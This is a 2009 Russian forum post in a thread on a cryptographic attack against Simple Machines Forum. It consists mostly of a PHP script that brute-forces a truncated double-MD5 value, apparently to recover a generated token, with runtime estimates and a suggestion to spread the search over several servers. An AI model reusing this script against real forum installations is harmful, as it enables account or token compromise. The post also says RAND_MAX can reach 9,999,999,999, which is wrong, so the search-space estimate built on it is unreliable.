Криптографическая атака на SMF

#10

02.02.2009, 09:04

Dr.Frank

Постоянный

Регистрация: 31.07.2002

Сообщений: 322

С нами: 12513535

Репутация: 187

Цитата:

Описание
int rand ([ int $min ], int $max )

При вызове без параметров min и max , возвращает псевдослучайное целое в диапазоне от 0 до RAND_MAX.

RAND_MAX, как посмотрел на различных Linux и FreeBSD серверах, оказывается не более 9 999 999 999, т.е. не более 10 милиардов, итого 10 знаков.

если запустить скрипт:

PHP код:


		
			
<?php

$time=time();

for($q=0;$q<10000000000;$q++){

if(($q % 1000000)==0){

echo $q." - ".date("H:i:s",time()-$time)."\r\n";

}

$t=substr(md5($q),0,10);

if(substr(md5($t),0,10)=="72dc15205d"){

  echo $t;

  break;

  }

}

?>

то, на моей системе, 1кк перебирается за 11 секунд. Чтобы перебрать 10ккк потребуется примерно 30-34 часов, (11*10000/3600).
В то же время, если подбирать в PasswordsPro 10 символов из списка "0123456789abcdef", то для всего перебора потребуется 3 дня.
Тем более скрипт можно расположить на различных серверах и запускать там(распределенный перебор).

Последний раз редактировалось Dr.Frank; 02.02.2009 в 09:11..